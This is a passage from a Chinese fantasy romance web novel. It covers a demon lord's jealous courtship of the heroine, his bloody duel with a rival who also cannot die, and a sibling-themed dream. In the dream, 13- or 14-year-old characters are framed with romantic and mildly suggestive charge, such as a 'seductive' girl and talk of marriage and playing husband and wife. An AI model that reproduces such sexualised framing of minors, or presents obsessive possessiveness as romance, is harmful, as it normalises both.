仿佛当真簪了一朵真花。 白晚盯着水镜看了半晌,忽然将绒花拔下, 生气地扔到一旁。 骗子。 说好了还要给她做绒花的, 居然不声不响地跑了? 空气微微波动。 水镜中露出一角华美的黑色长袍。 白晚一惊,忙起身相迎:“尊上,您怎么来了。” 江似的目光落在她的发髻上。 白晚有几分慌乱,想抬手打乱头发, 忽听江似说:“谁教你梳的。” 白晚仔细分辨他的语气,没有不喜。 她稍稍放下心来,试探着说:“日日梳同一个发型,想换一个,便学了下。” 但很快她注意到魔尊好像在看那朵绒花。 她面色一变, 稍稍往旁边挪,试图遮住那朵绒花。 然而已经晚了。 江似摊开手,绒花飞到他掌心。 白晚出声:“尊上!那是我一个朋友送的……” “朋友。”江似意味不明地重复。 白晚咬了咬牙:“是, 朋友。” 江似沉默片刻,淡声说:“可你这位朋友,好像不想留在这里。” 白晚没说话。 也不知过了多久,白晚忽然开口:“……可我们依然是朋友。” 江似这一次是真的有些好奇了。 他挑眉:“你记忆全无,从前认识的人现在对你而言也只是个陌生人。” “……重新认识,便还能是朋友。”白晚小声说。 江似垂眸看着手中绒花。 她在魔宫里呆了多久?又同白晚见了几次面? 只是这样,便能让白晚心心念念? 躁意攀爬而上。 江似指尖用力,那朵绒花马上就要被碾为齑粉。 花瓣与指尖摩擦的那一刹,他忽然想起馄饨店阿婆送给宁竹的那朵绒花。 江似手下泄了力气,他将绒花抛回去:“出来走走。” 白晚忙不迭接住绒花,小心翼翼将东西放到乾坤袋里收好,亦步亦趋跟在江似身后。 烈焰花是一种很霸道的植物。 栽下去之后,会抢占其他植物的生机,花开数年不败。 白晚的院中已经被大片灼红的烈焰花占据。 白晚提心吊胆跟在江似身后,生怕他忽然抬手便将这片烈焰花给毁了。 江似停住脚步,白晚也忙跟着停下。 她看着魔尊随手摘下一朵烈焰花,金黄色的花粉扑簌簌落下。 江似开口:“这具身体用着还习惯么。” 白晚忙说:“习惯。” 毕竟是她的本体炼化的,用起来并无不适感。 “当时你神魂残缺,若是不用本体作引,恐怕你那点残 魂会与新身体相斥。” 白晚道谢:“多谢尊上当时救了属下,尊上之恩,鬼母此生不忘。” 他似乎轻轻笑了一声:“你以前可不是会道谢的性子。” 白晚愣了下,抓住重点:“……尊上您以前认识我吗?” 江似眼睛都不眨,随口胡诌:“你尚是垂髻小儿时见过,那时你性子很是恶劣。” “旁人稍不合你心意,你便要将人打杀。” 白晚背脊绷直。 ……怎么和宁竹说的不一样?宁竹不是说她有很多朋友吗? 白晚喉头发紧:“以前的事,属下不大记得了。” 江似把玩着手中的烈焰花:“等我有空,重新给你炼化一具身体。” 出乎意料的是,白晚小心翼翼说:“……尊上,如果可以,属下想继续沿用自己的身体。” 江似洞黑的眼盯着她:“为什么呢?” “你的身子尚是血肉之躯,会伤会痛,若是用我炼化的傀儡,只要神魂不损,便是不伤不灭。” 白晚斟酌了许久,小声说:“……属下会小心些的。” 烈焰花被碾为齑粉,江似漫不经心说:“血肉之躯,如何比得不死之身,你不怕死么?” “……属下不比尊上,魔力深厚,寿与天齐,属下……更想以血肉之躯行走于世。” 白晚垂眸:“哪怕有一天会死。” 风拂过烈焰花,花枝摇曳,如同火海起伏。 “如你所愿。”江似的声音喜怒不辨。 白晚垂下头,恭敬地目送那席华美的黑色长袍扫过烈焰花离开。 直到人已不见,白晚才发觉,背脊已经被冷汗湿透。 江似慢悠悠往自己的魔宫走。 “尊上。”曲亦卓带着一队人经过,纷纷低头行礼。 江似的目光落在曲亦卓身上。 曲亦卓偏头对其他人说:“你们先下去。” 曲亦卓:“尊上可是有事要吩咐属下。” 江似看着眼前肩背宽阔的青年。 其实曲亦卓才是他所制成的第一具傀儡。 若是没有他这个成功案例,江似不会轻易炼制宁竹的傀儡。 曲亦卓微微弓着背脊。 “把面具摘下来。” 曲亦卓从善如流,摘掉了面具。 青年眉眼舒朗,与昔日别无二般。 江似指尖在半空中点了点。 曲亦卓的脸颊似乎被锐器割开,皮肉翻卷,深可露骨。 但诡异的是,伤口没有出血。 仿佛是用泥塑的皮肉。 江似指尖一抹,伤口霎时消失,曲亦卓的脸平滑如初,仿佛从未受过伤。 江似:“疼么?” 曲亦卓笑了下:“尊上说笑了。” “尊上予我这具身躯,不伤不灭,亦不会疼痛。” 江似沉默了片刻:“……会觉得自己像个怪物么?” 曲亦卓似乎有些奇怪他的问题。 但他还是认真回答:“修士锻体,也只能达到延长寿命,减少受伤的状态。” “尊上予我的这具身体,可谓是无敌的存在,多少人求之不得。” “属下感恩不尽,又怎会觉得自己像怪物?” 江似看着他。 曲亦卓……是他见过的欲念最强之人。 他渴望变强,渴望拥有高深的修为,如今种种,正合他心意。 可是宁竹呢? 江似忽然注意到屋檐下方不知何时生出一朵紫色的小花。 花茎纤细,花枝摇摆,有淡淡的香气缭绕在空气中。 江似似乎在问曲亦卓,又似乎在自言自语:“闻不见花香也没关系吗?” 曲亦卓笑着说:“不过是身外之物。” 江似眼睫轻轻颤了下:“不是。” 对她来说……不是的。 她喜欢吃各式各样的美食,喜欢睡柔软的床榻。 会在屋子里放一束刚刚采下的花,会在去练武场的时候也带上爱喝的茶饮。 她会在乎。 江似胸膛微微起伏,似乎终于想通了一件事。 曲亦卓觉察到江似的心情忽然变得很好。 他甚至微笑着说:“下去吧。” 曲亦卓的目光在那朵紫色的小花上定了一瞬,行礼离开。 江似再度去了魔宫地底。 两具傀儡并排在一起,仿佛同穴的夫妻。 江似的目光垂落在宁竹的傀儡身上。 精致,美丽,却毫无生气。 他抬起手指,轻轻按压在傀儡的唇瓣上。 柔软却冰凉。 长睫掩下,黢黑的眼瞳中有暗色物质在缓缓流动。 江似的手指顺着傀儡的唇瓣往下,点在心脏处。 傀儡,自然不会有心跳。 他忽然笑了下。 江似挥袖,耗费数月,倾注心血的傀儡化为点点流萤。 萤光落在他眼睫上,像是覆了一层雪。 傀儡不会情动。 而他向来是个贪婪的人。 只将人捆绑在自己身边,还不够。 ……他要得到她的全部。 无咎洞府。 宁竹陪着谢寒卿用完了桃花羹,见人被哄好了,开始试探:“谢师兄,你先休息下,我有点事,还要下山一趟。” 谢寒卿放下银匙,抬眸看她。 小仙君苍白的唇瓣含着些水光,透着好看的粉。 宁竹不敢多看,挪开视线:“我和一个摊主约好了今日交货,不好食言。” 她有点心虚,果然只要说一次谎,便要开始说无数个谎来圆。 “宁师妹要去幽冥集市。”谢寒卿用的是陈述句。 宁竹额角开始冒汗。 你可千万别说要陪着我一起去啊!! 谢寒卿开口:“如今不太平,宁师妹早点回来。” 宁竹松了一口气,开心地扬起手:“有这个呢!不怕。” 谢寒卿的目光落在与宁竹的指骨紧密相连的骨戒,嗯了一声。 “那我先走了!”宁竹起身,细心地给他带上门。 谢寒卿唇角带着淡淡的笑。 少女隔着门缝,也朝他一笑。 门扉掩上。 谢寒卿的眸光霎时变得晦暗不明。 幽冥集市,到底藏着什么呢。 宁竹从飞剑上气喘吁吁跳下来。 她脚下发软,眼前发黑,险些栽倒。 一只手扶住她。 宁竹定睛一看,是无烬。 无烬说:“你脸色很差。” 宁竹忙从乾坤袋掏出一枚补气丹咽下。 脸色能不差吗,都好几天没休息了。 宁竹顺了一口气,拍着胸口说:“没事!” “无烬你用晚膳了吗?” 无烬其实没吃,他没有胃口。 但他说:“用过了。” 宁竹点点头:“我那个朋友在屋子里吗?” 无烬指了指灶房。 宁竹这才注意到,灶房上方青烟袅袅。 她有点疑惑,难道江似说晚上一起吃,是要给她做饭? 宁竹朝着灶房走去。 无烬站在原地目送她离开,许久之后,扭头回了自己的房间。 靠近灶房,香气四溢,宁竹吸了吸鼻子,总觉得闻见了一股熟悉的味道。 下一刻,她僵在门口。 江似马尾高束,袖口挽起,站在油锅面前。 旁边的盘子上已经叠放着一层炸得金黄的鸡块。 ……是炸鸡。 江似听到动静,回过头,勾起唇角笑了下:“来了。” 宁竹走到锅边,狐疑道:“江似……你怎么会做这个?” 江似飞快把剩下的炸鸡捞起:“不就是炸物,有什么不会的。” 他挑拣了一块炸鸡送到宁竹嘴边:“尝尝。” 宁竹张嘴,咬住炸鸡。 外酥里嫩,竟然很有她那个世界的感觉。 宁竹白皙的脸颊鼓起,像是小仓鼠一样,眼眸亮晶晶的:“好吃!” 江似垂眼笑了下,把炸鸡端到一旁。 宁竹这才发现,还有好几道吃食,都是她爱吃的! 她哇了一声:“我们两个吃得完吗,要不要把无……” 江似已经往她手里塞了一双筷子。 他硬邦邦说:“你把我当伙夫了不成?” 宁竹也知道他的性子,没再勉强。 她 笑盈盈夹起一块炸鸡:“早知道你有这手艺,我们不若去摆个摊子卖炸鸡,说不定早赚的盆满钵满了。” “好啊。”江似坐到她旁边。 他黝黑的眼睛盯着宁竹看,仿佛当了真。 宁竹想了想那个画面,忍不住噗呲笑出声来。 她摇摇头:“我可是个贪心鬼,买炸鸡赚的钱可不够。” “还是杀妖兽来的快。” 她盯着炸鸡:“可是你怎么会做这个诶?” 她在修真界就没见过有人这么吃。 江似声音有点幽怨:“你曾同我说过。” 宁竹有点懵,有吗? ……可能是某次他们一起出去杀妖兽的时候随口提过吧。 她选择默默噤声,给江似夹了一块炸鸡:“这个要趁热吃。” 炸物就得配饮料喝。 宁竹起身,很快做了两杯甜甜的琼浆果莓子饮。 日渐西斜,满室昏黄,两人坐在门前的摇椅上吃着饭后小甜点。 宁竹请人用冰晶石打了一批带吸管的杯子,材质有点像玻璃,但这种材料表面会自带一点冰纹。 反正乾坤袋很大,宁竹习惯随身带着几个。 她此时就捧着一只漂亮的杯子,小口小口吸着莓子饮。 已是春日,晚风带着暖意,天色将暗未暗,庭院里的花也被蒙上一层模糊不清的色调。 屋里还未掌灯,宁竹的侧脸也被笼罩在这种暧昧的色泽中。 江似借着暗色掩映,认真看着她。 宁竹忽然偏过头来。 江似没有躲开,两人的目光直直撞上。 宁竹笑起来:“已经是三月底了,你的生辰快到了。” “嗯。” 宁竹顿了下:“那天你会有时间吗?” 江似盯着她的眼睛:“想提前送我生辰礼么。” 宁竹短暂地啊了一声,她似乎有点不好意思:“可以吗?” 那条发带她编好很久了,早就想给他了。 江似笑:“是什么?” 宁竹从乾坤袋中拿出一个盒子推给他。 江似挑了下眉,打开匣子。 一条通体玄黑的发带躺在里面,光线虽然暗淡,但也隐隐能看见发带通体流光婉转,好似星河烂漫,藏于暗夜。 宁竹:“生辰礼物,这一次编完了。” 江似想起幻境中她为他系上的那条半成品,倏然笑了下:“那么喜欢送我发带啊。” 宁竹知道他说的是什么,笑着说:“你若是喜欢,日后每年生辰我都给你编一条。” 江似看了那条发带许久,轻声说:“好啊。” “宁竹,帮我系上吧。” 宁竹不作他想,从善如流起身,取出发带。 江似忽然开口:“这骨戒哪里来的?” 宁竹下意识缩了下手,又说:“一个防御法器。” 江似的目光在上面凝了片刻,垂眸不语。 宁竹指尖挑开他原来的发带,墨发霎时披散了满肩。 少年的发冰凉柔顺,如同锦缎,掬在手中,有种异样的美感。 她用新编的发带绑起他的发。 星星点点的银丝夹杂于其中,与发带相得益彰。 宁竹怕弄疼他,动作很轻。 庭院中有不知名的虫儿在鸣叫。 发丝偶尔被勾住,偶尔又被松开,丝丝缕缕的痒,渗入骨髓。 江似忽地哑声说:“这一条……是什么时候开始编的。” 宁竹手下动作一顿,含糊道:“很久之前。” 江似哂笑一声。 安静片刻。 “在我魂灯熄灭之前吗。” “……在你魂灯熄灭之后。” 起风了。 夜风缱绻,拨动青丝万千,发丝如同蛛丝,黏在宁竹手上。 “……给一个死人编发带?”江似似乎想笑,但最后却变成叹气:“是打算烧给我么。” “不是。”宁竹回答得很快,“我……不相信你已经死了。” 她低声说:“……你答应过会活着出来的。” 江似的心脏像被人轻轻捏了一把。 酸涩不堪。 宁竹笑起来:“你没有食言。” 发带绑好了。 宁竹拍拍手退到一边,弯眼笑:“好啦!” 不愧是她编的发带,真好看! 挂在腰间的玉佩被人勾住。 宁竹低头。 江似不知何时转过身来。 少年脸上总是带着若有若无的笑,此时不笑,倒显得冷峻。 那双眼黑沉沉,似乎天光也落不进去半分。 认真盯着一个人时,便会有几分偏执之感。 “宁竹。”他开口换她。 他声音很哑:“我魂灯灭时……你哭了吗。” 宁竹眨巴了下眼,硬着嘴说:“当然没有,我都说了不相信你死了。” 江似盯着她的眼睛,一动不动,似乎要看出一点端倪。 可少女只是哎呀了一声:“很晚了,我要回宗门了。” 她问江似:“你今晚要歇在此处吗,还是要回那边?” 江似垂眸:“可以……再陪我一晚么。” 月亮已经悄然升起,冷月辉辉,霜色倾洒了满身。 宁竹抬头看了看天色。 江似怎么会注意不到她眼下的黑青之色。 宁竹正要开口,江似抢先说:“就在这里,好好睡一觉。” 宁竹愣了下。 她眼里浮现出一点笑:“我回洞府睡吧。” 她像是哄孩子一般,拍了拍他的胳膊:“我要走啦。” 江似的手还勾在她的玉佩上。 宁竹忍不住笑起来:“很喜欢这块玉佩?” 她作势要解,江似松开手,冷嗤一声,抱着手道:“那快回去吧,过几日我再来找你。” 宁竹听到过几日几个字,眼眸都亮了。 终于可以好好睡上一觉了! “那我走啦。” 宁竹跳上流烟剑,转身朝他挥了下手,消失在苍茫夜色中。 江似盯着她的背影一点点消失。 如同一只慵懒的猫,姿态散漫靠在摇椅上。 星河低垂,冷月高悬。 一道暗色的影无声无息投映在江似脚下。 他眼都未抬一下,淡声说:“谢师兄一贯光明磊落,何时竟学会在背地里听墙角了?” 第55章 江似勾着唇角掀起眼帘, 似笑非笑看着谢寒卿。 月色清浅,小仙君银冠高束,袖如鹤翅,眸中似乎凝结着霜色。 “你没死。” 江似慢吞吞说:“答应了宁竹要活着出来, 自然不能死。” 谢寒卿抬手, 指尖凝起幽蓝的灵力, 就要闯入江似体内。 下一秒, 他瞳孔一缩, 闪身消失。 宁竹急急忙忙跳下剑来, 风大, 她的刘海都被吹乱。 江似起身:“怎么了?怎么这般着急?” 宁竹道:“我乾坤袋不见了,不知道是不是落在这里了。” “快帮我找找。” 江似弯腰, 从摇椅下边勾出来一只杏色的乾坤袋:“是这个么?” 宁竹松了一口气:“是这个!” 她伸手接过。 江似的目光落在圈住她小指的骨戒上,眼神有些冰冷。 宁竹将乾坤袋拿走:“我走啦!” 她又匆匆忙忙跳上流烟剑, 飞快离开。 直到人已远去, 江似才道:“谢师兄还不回去么?” 他的语气里已经没有了笑意。 谢寒卿身形微动,从暗影中走出。 江似沐浴在月色下,马尾高束,发带随着夜风轻拂, 整个人却有种阴沉之感。 两人四目相对。 怀卿剑在体内嗡鸣。 谢寒卿从未感受过这般澎湃的的杀意。 不知是谁先动的。 冷月凝结,庭院中的植株霎时被震落满树枝叶。 空气似乎被万千利刃割裂成寸,地面都在晃动。 高手过招,只需一瞬。 怀卿剑刺穿了江似的咽喉。 而江似的一只手……也贯穿了谢寒卿的胸口。 滴答。 滴答滴答。 鲜血沿着剑 尖滴落,很快在地面聚起小小一滩。 两人同时抽离。 剑与骨摩擦, 森然作响。 江似偏了下头,勾起唇角,眼瞳兴奋地跳动。 然而下一刻, 他整个人都僵在原地。 谢寒卿垂剑立在原地,白衣染血,有金光缭绕在胸口手腕粗的黑洞边。 深可见骨的伤口,正在一点点恢复。 小仙君下颌上染了血,剔透的瞳孔毫无情绪盯着他。 本该切断江似喉咙的伤口,也在一点点弥合。 空气中弥漫着浓重的血腥味。 他们立在血泊中,完好无损,就像两个怪物。 江似往后退了一步。 又起风了。 谢寒卿袖角的青莲流云纹沾了血,莲纹猩红,有种嗜血的美感。 他转了下眼珠,再度提起长剑。 掌中怀卿剑在发出哀戚的鸣叫。 谢寒卿……第一次觉察到了如此强烈的抗拒。 为什么? 为什么方才他会在江似身上感应到一种熟悉的感觉。 ……是和宁竹体内红丝接触时的感觉。 谢寒卿踩着血泊往前一步。 只要再试探一次便知。 他提剑,倾注灵力,再度朝着江似刺去。 江似急急往后退去,他眼神复杂看他一眼,消失在空气中。 怀卿剑垂落。 剑尖在血泊中划出一圈圈涟漪。 谢寒卿垂眸。 看着血水中倒映出的脸。 有人来了。 顷刻之间,血泊消失不见,谢寒卿缩地成寸离开宅院。 无烬如同幽魂般来到庭院。 昨日还开得葱茏的花,此时已尽数掉落,如同一层雪堆积在地上。 无烬鼻尖微动,嗅到了空气中还未消散的血腥味。 他站在原地,看着光秃秃的树木,沉默片刻,回屋找来了生灵液。 院子里光秃秃一片,宁竹看见了……肯定会很伤心。 无烬将生灵液调配好,一一往植株根部浇灌下去。 有了生灵液,这些植株会在几天时间重新长出新叶。 他看了看自己的手,有点遗憾。 可惜自己现在已经没有灵力了,不然还能更快些。 宁竹采了半地莲回灶房,开始煎药。 她打着小小的哈欠,一边控制火候,一边编剑穗。 修士体质不比凡人,熬几天夜其实没什么,只是宁竹一直是凡人作息,习惯了早睡早起,此时困得很。 她取出一颗积雪草糖放到嘴里含化。 积雪草味道清凉,激得宁竹打了个激灵。 这下宁竹彻底不困了,手下翻飞如花。 也不知过了多久,宁竹忽然闻到一点淡淡的血腥味。 宁竹揉了下鼻子,狐疑地抬起头。 手中剑穗掉到地上。 宁竹吓得从小板凳上蹦起来:“谢师兄!” 谢寒卿一身血衣站在庭院中,若不是那张脸生得实在好看,简直就像个索命的男鬼。 宁竹小炮弹一般冲过去,声音都在颤抖:“谢,谢师兄!我们去太素阁!” 谢寒卿的眼神很空。 不是平日里淡若无物的疏离感,而是一种很奇怪的空。 仿佛藏了万千情绪,又仿佛什么也没有。 他摇了摇头:“我没事。” 谢寒卿抬手施诀,血衣霎时变得干干净净。 “对不起,吓到你了。” 宁竹愣了下:“谢师兄身上的……是别人的血?” 谢寒卿嗯了一声。 但他脸色实在是很差,宁竹到底还是有点不放心:“要不我们还是去太素阁看看吧……” “宁竹,我可以抱一下你么?” 宁竹心尖一跳。 她下意识想拒绝,但看着谢寒卿苍白的脸色,实在说不出口。 谢寒卿是个情绪内敛之人,但此时她能觉察到他心情很差。 他们是朋友。 朋友之间……不该有那么多芥蒂。 宁竹主动摊开手,像是抱朋友一样轻轻抱住他,还抬手拍了拍他的背脊。 嗯,就是这样。 宁竹松开他。 哪知下一刻,谢寒卿长臂一展,将她叩入了怀中。 小仙君满怀冷香包裹住她,宁竹甚至听到他的心跳。 她的杏眼微微瞪大,抬手要推开他。 “宁竹,别动。”谢寒卿声音喑哑。 他……整个人好像快要碎掉了。 宁竹犹豫了片刻,到底没再动弹。 她的手垂在身前,肩膀前倾,轻轻抵在谢寒卿胸膛处。 谢寒卿的呼吸一点点平静下来。 宁竹也安静靠在他肩上。 谁也没说话。 无咎洞府地势极高,云海苍茫,远山连绵,波澜的夜色似乎绵延在他们脚下。 仿佛天地间,只剩下他们两人。 谢寒卿的怀抱很舒服。 冷香幽幽,胸膛宽阔。 因为太舒服……宁竹一不小心睡着了。 谢寒卿垂眸。 怀中人呼吸绵长,睫毛轻轻颤抖着。 他弯腰,抱着人进了屋。 宁竹似是倦极累极,竟一直没有醒。 谢寒卿将她放到榻上。 她眼下黑青,想来已经许久没好好休息了。 谢寒卿取出一枚涎梦香,放到香炉中。 此香安神,可使人好梦。 他翻身上榻,将人拥入怀中。 低头,抵住她的颈窝。 宁竹身上的味道,很温暖。 仿佛只要靠近她一些,便也能汲得一点暖意。 小仙君的长臂如同藤蔓,缠住少女的腰。 香炉中轻烟袅袅,他们一齐坠入沉沉梦中。 梦中尤是大雪时节。 远山苍茫,天地皑皑,飞鸟绝迹。 一片偌大的冰湖旁,穿一身白衣的小少年正在垂钓。 旁边一个披着红色斗篷的小姑娘蹲在地上堆着雪人。 天寒地冻,小姑娘的手被冻得通红。 她捧起堆好的雪人,笑吟吟说:“哥哥!你看!” 垂钓的小少年回过头来,正是谢寒卿。 而捧着雪人的女孩正是宁竹。 两人都不过十三四岁的模样。 谢寒卿朝着宁竹伸出一只手。 宁竹不知道他要做什么,啊了一声。 “把雪人放下吧。” 宁竹很听他的话,乖乖把雪人放下。 谢寒卿还摊着手。 见她没有动作,谢寒卿道:“手,给我。” 宁竹迟疑:“我的手很凉。” 谢寒卿垂着眼睫,将她的手拉了过来,掌心合并,替她暖手。 宁竹笑起来:“还是大哥对我好!” 她示意他看一旁的小雪人:“哥哥,我堆的雪人像不像你?” 谢寒卿点头。 宁竹开心了。 她从他手中挣脱出来:“我还要再堆一个!” 刚刚捂热的手,很快又冻得红彤彤。 宁竹看着并肩而立的两个雪人,心情大好:“一个你,一个我。” 谢寒卿长睫微敛:“只堆我们两个吗。” 宁竹愣了下,气哼哼说:“我才不要堆二哥!他就是个讨厌鬼!” 她扑进谢寒卿怀中,撒娇:“我鞋袜都弄湿了,哥哥背我回去好不好。” “好。” 小少年蹲下身子,将小姑娘背到背上。 宁竹欢欢喜喜圈住他的脖颈,贴在他耳边,笑着说话。 小姑娘嘴巴跟抹了蜜一样,不停夸着谢寒卿。 热气拂过小少年的耳尖,白玉染上酡红。 雪地洁白,地面留下一道长长的脚印。 他们身后,一个周身黑衣的小少年走到湖边。 正是江似。 他瞳孔黢黑,表情阴沉,一脚将湖边并肩而立的两个雪人踩了个粉碎。 谢寒卿背着宁竹回了屋。 小少年打来热水,让宁竹将脚浸到水中,又起身替她洗干净鞋袜。 宁竹已经缩到被衾中盘腿而坐,屋子里很温暖,小姑娘的脸红扑扑的,眼睛很亮。 她脚上没穿鞋袜,脚趾圆润可爱,泛着淡淡的粉。 谢寒卿挪开视线:“天色已晚,宁宁睡吧。” “哥哥!”宁竹忽然唤她。 屋里灯火昏黄,小姑娘的脸笼在暗色的光里,天真而魅惑。 她眸光盈盈:“哥哥,很冷,哥哥陪我睡。” 小少年的侧脸半明半暗,已经初现棱角。 他摇头:“宁宁大了,该自己睡。” 宁竹却朝摊开手:“可是哥哥从前一直陪着我睡。” 她眼神里带了点祈求:“哥哥。” 谢寒卿只是走过去,替她拢了下被角,轻轻抚了下她的发:“宁宁乖。” 谢寒卿还是走了。 风雪拍打着门扉,宁竹缩在被衾里生气。 小姑娘气性大,越想越难过,最后竟是小小的哭了一场。 宁竹带着眼泪迷迷糊糊睡着,不知何时有人掀开她的被衾,从背后轻轻拥住她。 宁竹惊醒,含糊的嗓音里带着惊喜:“哥哥!” 她扭过头,对上的却是一双眸光阴沉的眼。 宁竹如同被惊到的兔子,猛然推开他,却被江似反手捉住手腕。 江似咬牙切齿:“怎么?我就不是哥哥?” 宁竹缩了缩脖子,小声说:“……二哥。” 江似眉头稍稍松缓,他对她说:“不是冷么,过来,我抱着你睡。” 宁竹摇头,往墙角缩了缩。 江似却不依不饶贴近她:“怎么,这么怕哥哥?” 宁竹呜咽:“没,没有……” 江似伸手,轻轻摸了摸她的脸:“宁宁,同样都是哥哥,你为什么要对他那么好?” 他的手指微微下移,在小姑娘唇边停住。 翻滚着暗色的眼眸垂落在她脸上,反反复复描摹。 “我们宁宁,要快点长大。” “这样……才好嫁给哥哥。” 宁竹低头,狠狠咬了一口他的手指:“反正我不要嫁你!你会天天欺负我!” 江似眸色更深:“如何欺负?” 他低声笑了下:“像小时候那样吗?” 宁竹的脸霎时烧了起来。 江似不依不饶:“像小时候那样,宁宁扮做妻子,我扮做丈夫?” 宁竹抬手去捂他的唇。 就在此时,门扉被人重重踢开。 江似被一股重重的力扯下床榻,他跌在地上,咳出一口血来。 银光闪过,谢寒卿扬剑指着江似的喉头,淡漠剔透的眸中浮现着杀意。 宁竹忙下榻,抬手挡在江似面前:“哥哥!” 江似低声笑起来。 谢寒卿冷声说:“宁宁,让开。” 宁竹要摇头:“我们三个是一体的,你们不能互相伤害。” “大哥。”江似笑着唤:“大哥真要杀了我?” 宁竹用祈求的神色看着谢寒卿。 谢寒卿的剑一点点垂下来。 他朝宁竹伸出手:“宁宁,走。” 宁竹拉住谢寒卿的手。 就在她起身的那一瞬,江似拉住她的另一只手。 江似看着她:“宁宁,你真要走?” 小少年脸色苍白,唇角沾染着星星点点的血渍。 宁竹犹豫了。 她扯了扯谢寒卿的袖子:“哥哥。” 谢寒卿用那双没什么情绪的眼看着她。 “宁宁,你总要选一个。” 宁竹看了一眼谢寒卿,又看了一眼江似,蔫巴巴垂下眼帘:“……可是,我不想选。” “你们两个,都是我的哥哥。” “我们不能永永远远在一起吗?” 宁竹猛然惊醒。 窗外竹影婆娑,月色皎洁,宁竹心脏狂跳。 思绪混沌,宁竹有一瞬分不清自己身在何方。 直到看清抱着她的人。 宁竹心神大骇,直直跌下榻来。 她环顾周围一圈,见自己是在谢寒卿屋中,没有江似,又稍稍松了一口气。 谢寒卿还没醒。 宁竹揉着跌得生疼的屁股,做贼心虚溜了出去。 推开门的那一刹,宁竹暗骂自己:渣女!!怎么能做这种梦! 门扉掩上。 谢寒卿倏然睁开眼。 昔日清冷淡漠的瞳,此时竟隐隐泛着红。 ……江似。 谢寒卿默念这个名字。 片刻后,他垂眸看向自己的衣衫。 身上很干净,血迹已经被抹掉。 谢寒卿拧眉。 与此同时,魔宫。 江似直勾勾盯着帐幔上繁复的花纹,手掌缠着宁竹编给他的发带,自嘲一笑。 宁竹……哪怕在梦中,也依然没有笃定选择他么? 缠绕在掌心的发带一点点收紧。 江似瞳色越变越深。 谢寒卿。 必须杀了谢寒卿。 江似抬手,轻轻碰了下喉头。 被长剑贯穿的地方依然在隐隐作痛。 他是个不死不灭的怪物。 ……谢寒卿也是。 江似的手指缓缓攥紧,发带被揉得皱巴巴。 啧,真是棘手。 因着这乱七八糟的梦,宁竹心神不宁了一晚上。 好不容易把药煎好放到谢寒卿门前,门扉忽然被人从里面拉开。 宁竹吓了一跳,扭头就要跑。 “宁师妹。”谢寒卿唤住她。 宁竹的脚在地上划了半个圈,硬是转过身来。 两人四目相对,宁竹眼角一跳,忙将那乱七八糟的梦从脑子里甩开:“谢师兄,趁热喝药吧。” 谢寒卿的目光落在她眼底的黑青之上:“宁师妹,这几日辛苦你了,从今天起,师妹不必再来为我煎药。” “归墟马上要开启了,师妹好好休憩准备。” 宁竹本以为是自己搞砸了呢,但听他这么说,才知他是一片好心。 等等,怎么谢寒卿也知道她要去归墟? 宁竹低头看了自己的弟子玉牌一眼。 好吧,攒了那么多积分,打的什么主意有心人自然看得出来。 宁竹抬眸:“可是谢师兄,你的药谁来帮你煎?” 谢寒卿:“表兄这几日会住到无咎洞府。” 姜师兄? 宁竹很是怀疑,姜师兄看上去根本不像是会照顾人的模样,不会把灶房都给炸了吧? 谢寒卿却仿佛看出她的想法,道:“久病成医,表兄很会照顾人,宁师妹不必担心。” 与此同时,碧水瑶台,姜思无狠狠打了个喷嚏。 他揉了下鼻子,继续侍弄面前灿若云霞的花。 宁竹只得点点头:“如果有我能帮上忙的地方,谢师兄就递传音符给我。” 谢寒卿颔首。 目送宁竹离开,谢寒卿挥袖,送出一张传音符。 正在侍弄昙月花的姜思无面前冷不丁飞来一张传音符,他手下一用力,昙月花霎时被折断了一枝花茎。 姜思无正要发火,谢寒卿的声音响起:“表兄,无咎洞府,急事相议。” 姜思无硬是把怒气压制下去。 他叹了口气,看着掉落的昙月花:“可惜了。” 若是御剑,从淮水到天玑山需要数个时辰。 缩地成寸有距离限制,姜思无便拿出来一张千里遁地符。 这符箓价格极其高昂,就是世家也不会轻易使用。 若非谢寒卿说是急事,他也不会这么败家。 片刻后,姜思无出现在无咎洞府。 谢寒卿趺坐在竹席之上,白衣落拓,眉眼清冷。 姜思无走过去:“寒卿,怎么了?” 小仙君抬头:“表兄知不知道,我娘可有其他孩子?”《 》 55-60 第56章 姜思无险些脸着地滚在白玉阶梯上。 他剧烈咳嗽起来, 咳得眼尾泛红,眸子里都浮现出一层浅浅水光:“寒卿,你……你怎么会问这种问题?” 谢寒卿表情淡然。 姜思无在他对面坐下,眉头渐渐拧起来:“寒卿, 是发生了什么事情么?” 谢寒卿沉默片刻:“我娘嫁到谢家三年之后才生下我, 之后谢家对外宣称我娘在诞下我不久之后, 撒手人寰。” 谢寒卿忽然抬眸, 眼瞳淡漠:“表兄, 我娘……并非因病去世。” 姜思无眼瞳一缩:“你说什么?!” 谢寒卿敛下长睫, 将深埋于心底的秘密吐露而出。 ……他的生父不是谢凌风, 而是其弟谢平阳,自己的娘亲, 多年前跟着谢平阳离 开了梦京,下落不明。 “砰——” 桌案应声而裂, 姜思无起身, 眼眶通红:“谢凌风……他怎么敢?!” 娘亲与姑姑乃是知交好友,娘亲身子不好,常年卧床不起,是姑姑承担起了一个母亲的角色。 姜思无总觉得自己福薄, 两个娘亲接连去世,可现在有人告诉他,姑姑很可能还没死? 姜思无天生一双风流的桃花眼,不笑也自含三分柔情。 可现在那双眼睛里全是杀意:“谢平阳掳走姑姑,谢凌风就这般放任不管?” 谢寒卿依然是那副不动如山的模样:“我娘是个爱憎分明之人。” “当初姜谢两氏联姻, 乃是因为外祖垂危,我娘为全孝道,才答应与谢凌风结为道侣。” “我娘与谢凌风感情并不好。” “谢凌风说我娘是被谢平阳掳走的, 但我却觉得……她是自愿的。” 姜思无不敢置信:“姑姑怎会愿意与一个魔私奔?” 更何况……那谢平阳不是个疯子吗?被囚于暗牢数年,形如阴沟老鼠,姑姑怎么可能会心甘情愿喜欢上这种人? 出乎意料的是,谢寒卿只是淡声说:“疯子……又如何?若是心意相通,亦未尝不可。” 姜思无愣了下。 谢寒卿又问:“我出生前,表兄已经记事,表兄可曾记得,我娘有对你说过什么吗?” 姜思无努力回忆了下,忽然想起一件事。 那时候姑姑已经怀上寒卿了。 她坐在庭院中,脚下落了满地的落凰花。 姜思无拿着糖葫芦蹦蹦跳跳冲进去,看见姜沁月在哭。 那个时候她的肚子已经很大了,姜沁月轻轻抚着肚子,柔声说:“孩子,对不起,可娘必须这样……才能救你爹爹。” 姜思无唤她:“姑姑!” 彼时他尚年幼,不明白姜沁月在说什么,只知道姑姑哭了。 他冲过去,把糖葫芦递给她:“姑姑不哭!” “是妹妹在踢你肚子吗?” 